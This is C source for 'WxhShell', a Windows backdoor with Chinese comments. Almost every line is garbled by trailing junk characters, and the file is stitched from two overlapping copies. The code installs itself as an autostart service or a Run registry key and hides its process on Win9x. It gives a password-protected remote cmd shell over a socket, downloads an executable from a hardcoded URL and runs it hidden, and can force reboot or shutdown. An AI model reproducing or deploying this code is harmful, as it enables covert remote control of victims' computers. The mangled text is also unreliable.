  case 'd': { Wu"1M^a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g4u 6#.m(  
    if(Boot(SHUTDOWN)) c5_/i7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bi2 c5[3  
    else { shR|  
    closesocket(wsh); UwxszEHC  
    ExitThread(0); }<YU4EW  
    } /,_m\ JkwL  
    break; :dqZM#$d  
    } Gj?$HFa  
  // 获取shell 6?Kl L [~  
  case 's': { inFS99DKx  
    CmdShell(wsh); l/,la]!T  
    closesocket(wsh); qW`?,N)r  
    ExitThread(0); fwvwmZW  
    break; ! 1=*"H%t  
  } _RIlGs\.  
  // 退出 bZ_TW9mq  
  case 'x': { pztfm'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9GRQ^E  
    CloseIt(wsh); eyuyaSE  
    break; ):_@i  
    } e=nvm'[h  
  // 离开  Q6RTH  
  case 'q': { ; NH^+h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $}Ab R:z  
    closesocket(wsh); Ia< V\$#  
    WSACleanup(); )t KS ooW  
    exit(1); X 5\xq+Ih  
    break; e=l:!E10  
        } M!kSt1  
  } 'zbvg0T  
  } E#\Oe_eq~N  
sQJGwZ 7  
  // 提示信息 m8;w7S7,j~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r^a:s]  
} T-#4hY`  
  } `/Rqt+C  
, /%'""`w  
  return; J&s$Wqf  
} ^vPsp?  
d]Y;rqjue  
// shell模块句柄 0-[naGz  
int CmdShell(SOCKET sock) Lg~C:BN F  
{ C[}UQod0  
STARTUPINFO si; Fuzb4Df  
ZeroMemory(&si,sizeof(si)); \+#EO%sN1%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y|)VNnWM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .$H"j>  
PROCESS_INFORMATION ProcessInfo; ``P9fd  
char cmdline[]="cmd"; n0!2-Q5U)h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f@$W5*j  
  return 0; +ZwoA_k{  
} A .Wf6o  
t,Ka] /I  
// 自身启动模式 ^;'8yE/  
int StartFromService(void) &y}7AV  
{ ,:e~aG,B  
typedef struct J8!2Tt  
{ Q#G xo  
  DWORD ExitStatus; i6KB\W2  
  DWORD PebBaseAddress; Q3(ulgl]  
  DWORD AffinityMask; @,n)1*{P  
  DWORD BasePriority; I8YUq   
  ULONG UniqueProcessId; & W od  
  ULONG InheritedFromUniqueProcessId; *g,ls(r\[  
}   PROCESS_BASIC_INFORMATION; +8C }%6aX  
1C8xJ6F  
PROCNTQSIP NtQueryInformationProcess; n."n?C'{  
v\5O\ I ^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W} i6{ Vh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F_(~b  
tc0;Ake-&  
  HANDLE             hProcess; q~b# ml2QS  
  PROCESS_BASIC_INFORMATION pbi; ":8\2Qp  
]c~yMA+]FZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^8;MY5Wbs  
  if(NULL == hInst ) return 0; #|ts1lD#ah  
",.f   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B=r DU$z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^hiY6N &  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K<wFr-z  
|~e"i<G#  
  if (!NtQueryInformationProcess) return 0; 4hy -M>!D|  
hAAh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *qm|A{FQR  
  if(!hProcess) return 0; CYLab5A  
N.vWZ7l8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zXx/\B$&d*  
fJ[ ^_,O  
  CloseHandle(hProcess); m~5 unB9  
Cd_@<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rey+3*zUb  
if(hProcess==NULL) return 0; &J&'J~N  
hNM8H  
HMODULE hMod; 6qHD&bv\%C  
char procName[255]; y\Aa;pL)RQ  
unsigned long cbNeeded; Tc/^h 4xH  
"t&=~eOe3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -0d9,,c  
eO <N/?t  
  CloseHandle(hProcess); S(Afo`  
|E7 J5ha  
if(strstr(procName,"services")) return 1; // 以服务启动 qC> tni%  
BV B2$&eJ  
  return 0; // 注册表启动 Q-'j131[  
} J)>DsQ+Cj  
SjB"#E)  
// 主模块 hm1s~@oEm  
int StartWxhshell(LPSTR lpCmdLine) Jg;[k  
{ a]u.Uqyx2w  
  SOCKET wsl; q4[}b-fF  
BOOL val=TRUE; A.vAk''(}+  
  int port=0; {&,p<5o  
  struct sockaddr_in door; j|[rT^b@  
9?H$0xZV  
  if(wscfg.ws_autoins) Install(); ; R}>SS'  
^)~Smj^d  
port=atoi(lpCmdLine); Wp>t\S~N  
`FPQOa*%3  
if(port<=0) port=wscfg.ws_port; 5G}4z>-]F)  
}ouGxs+^[  
  WSADATA data; {&n- @$?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zsXgpnlHT  
F<,pAxl~@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3p=Xv%xd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E:x@O8F  
  door.sin_family = AF_INET; g:M;S"U3*Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Fl}@EA#M  
  door.sin_port = htons(port); n?fy@R  
R%WY!I8C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fWmc$r5n](  
closesocket(wsl); }#FV{C]  
return 1; wuH*a3(  
} wHj 1+W  
$&as5z8  
  if(listen(wsl,2) == INVALID_SOCKET) { ._G ,uP$  
closesocket(wsl); %^@l5h.lqB  
return 1; ^YLC{V  
} o9 9ExQ.  
  Wxhshell(wsl); <{kPa_`'  
  WSACleanup(); B?z2@,  
8OZj24*'DS  
return 0; <-v zS;  
`q-+r1u  
} LeLUt<4~  
jw:z2:0~  
// 以NT服务方式启动 l<+ [l$0#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]eKuR"ob0  
{ CM_hN>%w[  
DWORD   status = 0; 4=^_VDlpd  
  DWORD   specificError = 0xfffffff; ~S/oW89  
Kz"3ba}KH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; idYB.]Y(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?:\/-y)Sp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,ErfTg&^  
  serviceStatus.dwWin32ExitCode     = 0; zWEPwOlI1P  
  serviceStatus.dwServiceSpecificExitCode = 0;  O`@Nl  
  serviceStatus.dwCheckPoint       = 0; .yj@hpJM  
  serviceStatus.dwWaitHint       = 0; 9>~pA]j%  
Y)1/f EM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dipfsH]p  
  if (hServiceStatusHandle==0) return; %]4Tff  
;;,7Jon2  
status = GetLastError(); 9-;-jnDy  
  if (status!=NO_ERROR) N(7 XILC  
{ Z\nDR|3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A9.TRKb=8  
    serviceStatus.dwCheckPoint       = 0; ^O_Z5NbC3  
    serviceStatus.dwWaitHint       = 0; spV7\Gs.@  
    serviceStatus.dwWin32ExitCode     = status; msmW2Zc  
    serviceStatus.dwServiceSpecificExitCode = specificError; |T|m5V'l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mXRkR.zu+  
    return; 9lb?%UFe  
  } 1,fR kQ  
e34>q:#5l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :0r,.)  
  serviceStatus.dwCheckPoint       = 0; e=0]8l>\V  
  serviceStatus.dwWaitHint       = 0; %y RGN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3(WijtH  
} KoERg&fY  
pp@ Owpb  
// 处理NT服务事件,比如:启动、停止 H>C bMz1u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =Wcvb?;*  
{ 7_I83$p'  
switch(fdwControl) l8oaDL\f  
{ [Z$H <m{c-  
case SERVICE_CONTROL_STOP: B7 s{yb  
  serviceStatus.dwWin32ExitCode = 0; D~C'1C&W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y*NzY*V\  
  serviceStatus.dwCheckPoint   = 0; VE+H! ob A  
  serviceStatus.dwWaitHint     = 0; e$~[\ w  
  { wo@ T@Ve~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <F7a!$zQ  
  } ' h7Faj  
  return; QF>T)1&J[7  
case SERVICE_CONTROL_PAUSE: &*v\t\]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UMGiJO\yH  
  break; 7zG r+Px  
case SERVICE_CONTROL_CONTINUE: $r!CQ 2S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~7 i{~<?  
  break; T`x|=}  
case SERVICE_CONTROL_INTERROGATE: {srP3ll P  
  break; E#J})cPzw  
}; f!'i5I]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UY(T>4H+h  
} @"7S$@cO  
bT ,_=7F  
// 标准应用程序主函数 (7R?T}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y#GHmHeh  
{ Cy;UyZ  
q}LDFsU  
// 获取操作系统版本 i\sBey ND"  
OsIsNt=GetOsVer(); >bW=oTFz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T-] {gc  
E.K^v/dNdq  
  // 从命令行安装 joe)b  
  if(strpbrk(lpCmdLine,"iI")) Install(); d/; tq  
"`% ,l|D  
  // 下载执行文件 [M\ an6h6O  
if(wscfg.ws_downexe) { 3x[C pg,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t7]j6>MK3q  
  WinExec(wscfg.ws_filenam,SW_HIDE); F rc  kA  
} <X)\P}"L4  
/*#o1W?wQZ  
if(!OsIsNt) { tl 0|.Q,  
// 如果时win9x,隐藏进程并且设置为注册表启动 2^o7 ^S  
HideProc(); g{'f%bkG  
StartWxhshell(lpCmdLine); aw*]b.f  
} flmQNrC.8  
else ^ptybVo  
  if(StartFromService()) JN wI{  
  // 以服务方式启动 kvwnqaX  
  StartServiceCtrlDispatcher(DispatchTable); iHPsRq!  
else dxX`\{E  
  // 普通方式启动 ]h S:0QE  
  StartWxhshell(lpCmdLine); m4/qxm"Dx:  
Vm%G q  
return 0; `Z;Z^c  
} '[ #y|  
u9"=t  
|3]/C rR_  
~Zr}QO}G  
=========================================== O*~,L6# }  
&E&~9"^hQL  
Pe@# 6N`  
Y9^l|,bm5  
&s".hP6  
zH]oAu=H  
" e0P[,e*0  
~(R=3  
#include <stdio.h> 5 bI :xL}  
#include <string.h> K%J?'-  
#include <windows.h> -.h)CM@L  
#include <winsock2.h> Yz/Blh%V  
#include <winsvc.h> ^\ [p6>  
#include <urlmon.h> .y s_'F-]0  
[.}qi[=n  
#pragma comment (lib, "Ws2_32.lib") 1$0Kvvg[  
#pragma comment (lib, "urlmon.lib") vfkF@^D  
x9 > ho  
#define MAX_USER   100 // 最大客户端连接数 GB$`b'x@S  
#define BUF_SOCK   200 // sock buffer  t;o\"H  
#define KEY_BUFF   255 // 输入 buffer F'K >@y  
=dAAb\:  
#define REBOOT     0   // 重启 7p1Y g  
#define SHUTDOWN   1   // 关机 u}%OC43  
j.&dHtp  
#define DEF_PORT   5000 // 监听端口 Q5ASN"_  
:BPgDLL,  
#define REG_LEN     16   // 注册表键长度 kPX+n+$  
#define SVC_LEN     80   // NT服务名长度 `H! (hMMV  
^{}G4BEY  
// 从dll定义API NTu |cX\R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j=O+U _w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T1d@=&0"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vFk@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sBadiDG~9  
Jx+6Kq(  
// wxhshell配置信息 9Vt ^q%DC  
struct WSCFG { 3'uXU<W!  
  int ws_port;         // 监听端口 pbx*Y`v  
  char ws_passstr[REG_LEN]; // 口令 63 oe0T&  
  int ws_autoins;       // 安装标记, 1=yes 0=no .) Ej#mk  
  char ws_regname[REG_LEN]; // 注册表键名 k?fz @H8D(  
  char ws_svcname[REG_LEN]; // 服务名 j#//U2VdN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A]bQUWt2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %tVU Rj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oLoc jj~T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \ *t\=4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 76w[X=Fv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5sJ>+Rg  
) h]+cGM  
}; 7z;2J;u`n  
k{+cFG\C&  
// default Wxhshell configuration q9vND[BQ  
struct WSCFG wscfg={DEF_PORT, ClKWf\(ii6  
    "xuhuanlingzhe", Jq0sZ0j  
    1, #f#6u2nF\  
    "Wxhshell", 3 `_/h' ~  
    "Wxhshell", +^BTh rB  
            "WxhShell Service", 1J!v;Y\\  
    "Wrsky Windows CmdShell Service", LLgw1 @-D  
    "Please Input Your Password: ", No7-fX1B  
  1, ;{I9S'  
  "http://www.wrsky.com/wxhshell.exe", 8ae`V!5  
  "Wxhshell.exe" li%@HdA!  
    }; 0cmd +`  
Nr*l3Z>LD  
// 消息定义模块  LgF?1?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QP'sS*saJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?6_]^:s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &oMEz 0  
char *msg_ws_ext="\n\rExit."; i431mpMa  
char *msg_ws_end="\n\rQuit."; #2^0z`-\_z  
char *msg_ws_boot="\n\rReboot..."; F${sEtH  
char *msg_ws_poff="\n\rShutdown..."; Qf_N,Bq{a  
char *msg_ws_down="\n\rSave to "; |mH* I  
ya2sS9^T[  
char *msg_ws_err="\n\rErr!"; ,WE2.MWR  
char *msg_ws_ok="\n\rOK!"; `/WxEu3  
C|]c#X2t3  
char ExeFile[MAX_PATH]; ajycYk9<m  
int nUser = 0; }uDpf0;^  
HANDLE handles[MAX_USER]; F$8:9eL,T  
int OsIsNt; bhUE!h<  
~u*4k:2H  
SERVICE_STATUS       serviceStatus; Y^]n>X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o`CM15d*7o  
RFbf2s\t  
// 函数声明 ;}Jv4Z  
int Install(void); {gzQ/|}#z-  
int Uninstall(void); CG%bZco((  
int DownloadFile(char *sURL, SOCKET wsh); zYaFbNi  
int Boot(int flag); !mK()#6  
void HideProc(void); ?eTZ>o.p/  
int GetOsVer(void); }C @xl9S"  
int Wxhshell(SOCKET wsl); Py*WHHO  
void TalkWithClient(void *cs); ,It0brF  
int CmdShell(SOCKET sock); .M:&Aj)x16  
int StartFromService(void);  (7X  
int StartWxhshell(LPSTR lpCmdLine); Qy9_tvq X  
:0@0muo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _EMX x4J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4]1/{</B|  
6?,qysm06  
// 数据结构和表定义 xtGit}  
SERVICE_TABLE_ENTRY DispatchTable[] = J;>;K6pW  
{ q!W,2xqZoq  
{wscfg.ws_svcname, NTServiceMain}, ILCh1=?{9r  
{NULL, NULL} al#(<4sJ  
}; ?J$k 5;  
#_ulmB;  
// 自我安装 1V`-D8-?  
int Install(void) p@78Xmu?q  
{ pq0Z<b;2  
  char svExeFile[MAX_PATH]; fm Yx  
  HKEY key; GpPM?  
  strcpy(svExeFile,ExeFile); /[ m7~B]QE  
qD%88c)g  
// 如果是win9x系统,修改注册表设为自启动 n_{&dVE  
if(!OsIsNt) { uyEk1)HC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QV."ZhL5=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KF&8l/f  
  RegCloseKey(key); npeL1zO-$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O$z"`'&j#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -)%\$z  
  RegCloseKey(key); >yc),]1~  
  return 0; (w-"1(  
    } 48,*sTRq  
  } O=}w1]  
} D;JZ0."  
else { !43nL[]  
+m JG:n  
// 如果是NT以上系统,安装为系统服务 \@PMj"p|:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i$pUUK  
if (schSCManager!=0) X,3"4 SK  
{ #>_t[9;  
  SC_HANDLE schService = CreateService .;31G0<w2  
  ( u"5/QB{  
  schSCManager, J4]"@0?6  
  wscfg.ws_svcname, C2LG@iCIE  
  wscfg.ws_svcdisp, iOm&(2/  
  SERVICE_ALL_ACCESS, 3T(ft^~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !_Y%+Rkp0  
  SERVICE_AUTO_START, ;nh_L(  
  SERVICE_ERROR_NORMAL, ],AtR1k  
  svExeFile, At>e4t2@  
  NULL, )[Rwc#PA;  
  NULL, G l/3*J  
  NULL, 2G|}ENC  
  NULL, .\H-?6R^  
  NULL C=;}7g  
  ); w*'DlP<7  
  if (schService!=0) /E/6(c  
  { 6&+dpr&c~=  
  CloseServiceHandle(schService); ^Zs ^  
  CloseServiceHandle(schSCManager); =l2 @'YQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dw#pObH|`  
  strcat(svExeFile,wscfg.ws_svcname); HziQ%QR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B_#M)d O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E>@]"O)=M,  
  RegCloseKey(key); tM@%EO  
  return 0; >mQD/U  
    } a%y*e+oM  
  } /p;OZf]  
  CloseServiceHandle(schSCManager); pV<K=;:x>  
} ?`vGpi~  
} (xfy?N  
3I'7+?@@l  
return 1; `0s3to%7  
} xz:  
xNY&*jI  
// 自我卸载 |1kA6/  
int Uninstall(void) @6_w{6:b  
{ CZy!nR!  
  HKEY key; _7v4S/V  
R(> oyxA[F  
if(!OsIsNt) { X$%[%q8qg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hj-n 'XZ  
  RegDeleteValue(key,wscfg.ws_regname); y[f%0*\B  
  RegCloseKey(key); l [ m_<1L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @0:Eg1-  
  RegDeleteValue(key,wscfg.ws_regname); [C ezz5  
  RegCloseKey(key); Oxu}W%BF*  
  return 0; ~A/vP-  
  } 1Xcj=I- 4  
} Mj0jpP<uf  
} ?/3{gOgI$`  
else { H5vg s2R  
1.2qh"#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sNG 7fi.|  
if (schSCManager!=0) O?#<kmd/)  
{ `j2|aX %Z*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `,FA3boE  
  if (schService!=0) (<`> B  
  { M;g"rpM  
  if(DeleteService(schService)!=0) { ) fuAdG  
  CloseServiceHandle(schService); }uD*\.  
  CloseServiceHandle(schSCManager); ZDK+>^A)  
  return 0; FKtCUq,:  
  } s z7<u|  
  CloseServiceHandle(schService); gBgaVG  
  } G #$r)S  
  CloseServiceHandle(schSCManager); tR=1.M96Y  
} 'uqY%&U  
} ZjK'gu8*  
@gx]3t*]I  
return 1; YFcMU5_F  
} |Ntretz`\  
!':y8(Ou  
// 从指定url下载文件 Q >h7H{c  
int DownloadFile(char *sURL, SOCKET wsh) 0 4ceDe  
{ wVv@   
  HRESULT hr; R-Tf9?)  
char seps[]= "/"; TY+Rol;!  
char *token; sEb*GF*.V  
char *file; x;&iLQZh  
char myURL[MAX_PATH]; ]o9^?iU]  
char myFILE[MAX_PATH]; Q:b>1  
#%CB`l  
strcpy(myURL,sURL); <7%#RJwe  
  token=strtok(myURL,seps); Zh:@A Fz:R  
  while(token!=NULL) W1}d6Sbg  
  { #FGj)pu  
    file=token; MR":a T  
  token=strtok(NULL,seps); [r1\FF@v,  
  } > W^"*B  
"f!H[F1~  
GetCurrentDirectory(MAX_PATH,myFILE); zM%2h:*+{  
strcat(myFILE, "\\"); E zU=q E  
strcat(myFILE, file); ]D>\Z(b  
  send(wsh,myFILE,strlen(myFILE),0); pr \OjpvD  
send(wsh,"...",3,0); 78'3&,+si  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  N,ihQB5  
  if(hr==S_OK) Xj6?,J  
return 0; n~yhX%=_Du  
else `g'9)Xf4KT  
return 1; TwZmZE ?!  
!5zj+N  
} \S#![NC  
Q=498Y~x  
// 系统电源模块 Cm6%wAzC  
int Boot(int flag) $.Qq:(O:6  
{ d-UQc2r  
  HANDLE hToken; G/Yqvu,2!  
  TOKEN_PRIVILEGES tkp; # i|pi'I j  
.gwT?O,  
  if(OsIsNt) { ibuoq X`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =W'{xG}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C/z0/mk  
    tkp.PrivilegeCount = 1; KupQtT<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {@67'jL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PAjH*5I A  
if(flag==REBOOT) { 0e~4(2xK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q$S|LC  
  return 0; D14i]  
} qAVZ&:#  
else { Z&Z= 24q_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z-'xJq  
  return 0; "&TN}SBW  
} wn>?r ?KIB  
  } lDtl6r/  
  else { Ix+\oq,O  
if(flag==REBOOT) { >f~y2YAr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c ^+{YH;k  
  return 0; }C{wGK+o[  
} -]Q6Ril  
else { Xa=oEG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uPL|3ACS  
  return 0; 0(az80 p  
} idP2G|Z  
} 5l /EZ\q  
w;DRC5V>  
return 1; }Lb[`H,}A  
} ~i9'9PHX@  
`^CIOCK%  
// win9x进程隐藏模块 N ._&\fHY  
void HideProc(void) b~EA&dc  
{ mRD'@n  
_*dUH5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gO]jeO  
  if ( hKernel != NULL ) `BKV/Xl  
  { p>0n~e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y(Ck j"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `Ct fe8  
    FreeLibrary(hKernel); ood,k{  
  } 2mPU /  
[f@[ gE  
return; "s rRlu  
} |7E1yu  
~g|z7o  
// 获取操作系统版本 ]w9\q*S]  
int GetOsVer(void) 8al%F_r]  
{ 0X4%Ccs  
  OSVERSIONINFO winfo; [<A|\d'x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2VA mL7)  
  GetVersionEx(&winfo); Jhr3[A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;=E!xfp5U  
  return 1; LHgEb9\Q  
  else nv2p&-e+  
  return 0;  Y.v. EZ  
} xa|/P#q  
?LA` v_  
// 客户端句柄模块 jun$C Y4  
int Wxhshell(SOCKET wsl) 5"I8ric  
{ /.%AE|0+X  
  SOCKET wsh; tU >?j1  
  struct sockaddr_in client; s&~i S[  
  DWORD myID; -}Q^A_xK  
qK12:  
  while(nUser<MAX_USER) je^=gnq  
{ $Z{Xt*  
  int nSize=sizeof(client); 2<8JY4]!]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ' lMPI@C6r  
  if(wsh==INVALID_SOCKET) return 1; `\5u/i'Ca!  
?*2Uw{~}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zDx*R3%  
if(handles[nUser]==0) };s8xGW:k3  
  closesocket(wsh); 7xy[;  
else 1;N5@0%p  
  nUser++; E [b6k&A  
  } l5esx#([*R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zY&/^^y  
qA5PIEvdq  
  return 0; Ij9ezNZT=  
} %[H|3  
[BzwQ 4  
// 关闭 socket YVS~|4hu?i  
void CloseIt(SOCKET wsh) SdQ"S-H  
{ rq_0"A  
closesocket(wsh); [,As;a*o  
nUser--; LP- _i}Kq  
ExitThread(0); /D&7 \3}  
} /r@~"R x'  
h;?H4j  
// 客户端请求句柄 1/% g VB8  
void TalkWithClient(void *cs) `c%{M4bF\  
{ ;<)<4N"  
xN=:*#Z"pb  
  SOCKET wsh=(SOCKET)cs; [$AOu0J  
  char pwd[SVC_LEN]; bAZ x*qE=  
  char cmd[KEY_BUFF]; !,zRg5Wp4  
char chr[1]; TW5Pt{X= f  
int i,j; N9=1<{Z  
kcN#g- 0  
  while (nUser < MAX_USER) { v3/l= e?u  
TG@ W:>N(  
if(wscfg.ws_passstr) { 2UJjYrm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )7}f .  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y$&+2w,)H,  
  //ZeroMemory(pwd,KEY_BUFF); s(MLBV5)w  
      i=0; 3}9c0%}F  
  while(i<SVC_LEN) { o/5loV3h  
1&Ruz[F5  
  // 设置超时 7\nR'MOZ  
  fd_set FdRead; Tq*K =^  
  struct timeval TimeOut; o"-*,:Qe  
  FD_ZERO(&FdRead); pZaOd;t  
  FD_SET(wsh,&FdRead); nb,+!)+  
  TimeOut.tv_sec=8; T?Y/0znB*  
  TimeOut.tv_usec=0; ;>Q.r{P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8-cCWo c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HHcWyu  
oQ"J>`',  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~|5B   
  pwd=chr[0]; #<EMG|&(  
  if(chr[0]==0xd || chr[0]==0xa) { >0Gdxj]\  
  pwd=0; =!{ E!3>*D  
  break; ;'~GuZ#I  
  } 9E-]S'Z  
  i++; r ; pS_PV  
    } [OK(  
W5_aS2$  
  // 如果是非法用户,关闭 socket VYC$Q;Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @^UnrKSd  
} ipdGAG  
C|hD^m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1}Mdo&:t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1K&l}/zUl  
u#r[JF9LP  
while(1) { +4]31d&3  
h}knn3"S  
  ZeroMemory(cmd,KEY_BUFF); Q8>  
T(2*P5%&  
      // 自动支持客户端 telnet标准   W_%@nm\y  
  j=0; 3; Ztm$8  
  while(j<KEY_BUFF) { &x>8 %Q s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &2\^S+4  
  cmd[j]=chr[0]; NUp,In_  
  if(chr[0]==0xa || chr[0]==0xd) { Cr#Z.  
  cmd[j]=0; i^2-PKPg{  
  break; \PJpy^i  
  } `#x}-A$  
  j++; czu?]9;^ Z  
    } W34_@,GD  
.&2Nm&y$ K  
  // 下载文件 qnCJrY6]  
  if(strstr(cmd,"http://")) { 5nSi29C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x}B_;&>&"_  
  if(DownloadFile(cmd,wsh)) >3&Oe  
